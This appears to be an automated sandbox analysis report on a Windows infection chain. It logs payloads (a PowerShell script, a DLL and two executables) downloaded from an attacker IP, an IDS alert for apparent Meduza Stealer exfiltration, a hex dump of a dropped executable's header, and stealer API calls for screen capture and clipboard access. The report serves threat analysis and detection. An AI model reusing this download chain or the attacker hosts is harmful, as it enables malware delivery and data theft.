00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:11:49 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 09 Dec 2024 20:28:42 GMTETag: "13ba00-628dc35e76e87"Accept-Ranges: bytesContent-Length: 1292800Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 4e af 37 82 2f c1 64 82 2f c1 64 82 2f c1 64 c9 57 c6 65 83 2f c1 64 c9 57 c7 65 83 2f c1 64 ca aa c5 65 9b 2f c1 64 92 ab c2 65 8a 2f c1 64 92 ab c5 65 92 2f c1 64 92 ab c4 65 e0 2f c1 64 c9 57 c4 65 38 2f c1 64 c9 57 c2 65 85 2f c1 64 c9 57 c5 65 97 2f c1 64 82 2f c0 64 a5 2e c1 64 c9 57 c0 65 9d 2f c1 64 c9 aa c8 65 9d 2f c1 64 c9 aa 3e 64 83 2f c1 64 c9 aa c3 65 83 2f c1 64 52 69 63 68 82 2f c1 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 9d 37 3b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 34 0d 00 00 a6 06 00 00 00 00 00 20 f2 0a 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 14 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 df 12 00 40 01 00 00 00 f0 13 00 e0 01 00 00 00 80 13 00 18 6c 00 00 00 00 00 00 00 00 00 00 00 00 14 00 3c 0d 00 00 d0 83 11 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 85 11 00 28 00 00 00 90 82 11 00 40 01 00 00 00 00 00 00 00 00 00 00 00 50 0d 00 78 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 32 0d 00 00 10 00 00 00 34 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 a8 05 00 00 50 0d 00 00 aa 05 00 00 38 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 7c 00 00 00 00 13 00 00 5a 00 00 00 e2 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 18 6c 00 00 00 80 13 00 00 6e 00 00 00 3c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 f0 13 00 00 02 00 00 00 aa 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 0d 00 00 00 00 14 00 00 0e 00 00 00 ac 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; */*Host: api.ipify.orgCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 193.3.19.151 193.3.19.151

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: ARNES-NETAcademicandResearchNetworkofSloveniaSI ARNES-NETAcademicandResearchNetworkofSloveniaSI

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2050807 - Severity 1 - ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP) : 192.168.2.4:49740 -> 193.3.19.151:15666
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 147.45.47.15:80

Source: global traffic	HTTP traffic detected: GET /iviewers.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Launcher.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15
Source: global traffic	HTTP traffic detected: GET /duschno.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.15

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DD5240 InternetOpenA,InternetOpenUrlA,HttpQueryInfoW,HttpQueryInfoW,InternetQueryDataAvailable,InternetReadFile,InternetQueryDataAvailable,InternetCloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

12_2_00007FF6F1DD5240

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /script.ps1 HTTP/1.1Host: 147.45.47.15User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /iviewers.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Launcher.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15
Source: global traffic	HTTP traffic detected: GET /duschno.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.47.15Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1773560054.00000000047D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15
Source: powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1773560054.0000000004950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15/Launcher.exe
Source: Launcher.exe, 00000006.00000003.1871867070.00000000035C7000.00000004.00000020.00020000.00000000.sdmp, iviewers.dll.5.dr	String found in binary or memory: http://147.45.47.15/duschno.exe
Source: powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1773560054.00000000047D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15/iviewers.dll
Source: powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15/iviewers.dllXR
Source: curl.exe, 00000004.00000002.1738520140.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, script.hta	String found in binary or memory: http://147.45.47.15/script.ps1
Source: curl.exe, 00000004.00000002.1738755036.0000000002C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15/script.ps11gU
Source: powershell.exe, 00000005.00000002.1773560054.0000000004950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.15D
Source: powershell.exe, 00000005.00000002.1773560054.00000000047D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.4zY
Source: powershell.exe, 00000005.00000002.1781715663.0000000006C81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mD
Source: powershell.exe, 00000007.00000002.1812229700.0000000007FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: io12j1es.2tm.exe, 0000000C.00000003.2108934415.000001F159CD0000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1894770651.000001F159CC1000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.2109042169.000001F159CD4000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.2108962470.000001F159CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsoft.t/Regi
Source: powershell.exe, 00000005.00000002.1779711117.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.1773560054.0000000004541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1797529173.0000000004611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.1773560054.0000000004541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1797529173.0000000004611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBkq
Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1773560054.0000000004D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: io12j1es.2tm.exe, 0000000C.00000003.1927283382.000001F157584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000005.00000002.1779711117.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: io12j1es.2tm.exe, 0000000C.00000003.1906772053.000001F159B22000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A114000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1922082521.000001F15A030000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159268000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159260000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A11C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A0A9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A07F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A00E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A01F000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A038000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1900063983.000001F159FA9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899926649.000001F157550000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A084000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A0A9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A07F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A00E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A01F000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A038000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1900063983.000001F159FA9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899926649.000001F157550000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A084000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: io12j1es.2tm.exe, 0000000C.00000003.1906772053.000001F159B22000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A114000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1922082521.000001F15A030000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159268000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159260000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A11C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: io12j1es.2tm.exe, 0000000C.00000003.1911472815.000001F15A638000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A123000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: io12j1es.2tm.exe, 0000000C.00000003.1911472815.000001F15A638000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A123000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B690DA OpenClipboard,

6_2_00B690DA

Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B63450 GlobalAlloc,GlobalLock,StringFromGUID2,wsprintfW,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		6_2_00B63450
Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B62EF0 GlobalAlloc,GlobalLock,StringFromGUID2,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		6_2_00B62EF0

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DD5B70 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SHCreateMemStream,SelectObject,DeleteDC,ReleaseDC,DeleteObject,EnterCriticalSection,LeaveCriticalSection,IStream_Size,IStream_Reset,IStream_Read,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

12_2_00007FF6F1DD5B70

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\io12j1es.2tm.exe	Jump to dropped file

Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DDA430 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,_invalid_parameter_noinfo_noreturn,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,		12_2_00007FF6F1DDA430
